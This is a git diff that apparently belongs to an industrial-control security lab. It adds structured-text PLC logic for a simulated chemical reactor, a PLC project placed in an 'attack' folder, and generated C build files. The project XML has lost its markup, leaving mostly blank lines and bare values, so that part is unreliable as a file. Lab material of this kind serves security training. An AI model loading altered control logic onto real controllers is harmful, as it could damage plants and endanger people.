VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + 